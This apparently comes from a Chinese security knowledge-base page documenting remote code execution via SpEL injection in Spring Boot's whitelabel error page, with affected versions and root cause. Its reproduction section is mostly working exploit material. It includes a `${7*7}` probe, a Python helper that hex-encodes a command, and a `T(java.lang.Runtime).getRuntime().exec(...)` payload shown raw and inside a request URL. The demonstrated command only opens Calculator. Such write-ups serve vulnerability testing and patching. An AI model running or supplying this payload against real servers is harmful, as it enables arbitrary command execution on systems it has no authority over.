menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Spring Boot whitelabel error page SpEL rce chevron_right Spring Boot whitelabel error page SpEL rce.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Spring Boot whitelabel error page SpEL rce.md
    1.92 KB / 2021-07-15 20:03:59
        Spring Boot whitelabel error page SpEL rce
    ==========================================
    
    一、漏洞简介
    ------------
    
    ### 利用条件
    
    -   至少知道一个触发 springboot 默认错误页面的接口及参数名
    
    二、漏洞影响
    ------------
    
    spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
    
    三、复现过程
    ------------
    
    #### 漏洞原理:
    
    1.  spring boot 处理参数值出错,流程进入
        `org.springframework.util.PropertyPlaceholderHelper` 类中
    2.  此时 URL 中的参数值会用 `parseStringValue` 方法进行递归解析
    3.  其中 `${}` 包围的内容都会被
        `org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration`
        类的 `resolvePlaceholder` 方法当作 SpEL 表达式被解析执行,造成 RCE
        漏洞
    
    ### 漏洞复现
    
    ##### 步骤一:找到一个正常传参处
    
    比如发现访问 `/article?id=xxx` ,页面会报状态码为 500 的错误:
    `Whitelabel Error Page`,则后续 payload 都将会在参数 id 处尝试。
    
    ##### 步骤二:执行 SpEL 表达式
    
    输入 `/article?id=${7*7}` ,如果发现报错页面将 7\*7 的值 49
    计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
    
    由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码:
    
        # coding: utf-8
    
        result = ""
        target = 'open -a Calculator'
        for x in target:
            result += hex(ord(x)) + ","
        print(result.rstrip(','))
    
    执行 `open -a Calculator` 命令
    
        ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    
    正常访问:
    
        http://www.0-sec.org:9091/article?id=66
    
    执行 `open -a Calculator` 命令:
    
        http://www.0-sec.org:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    
    
    links
    file_download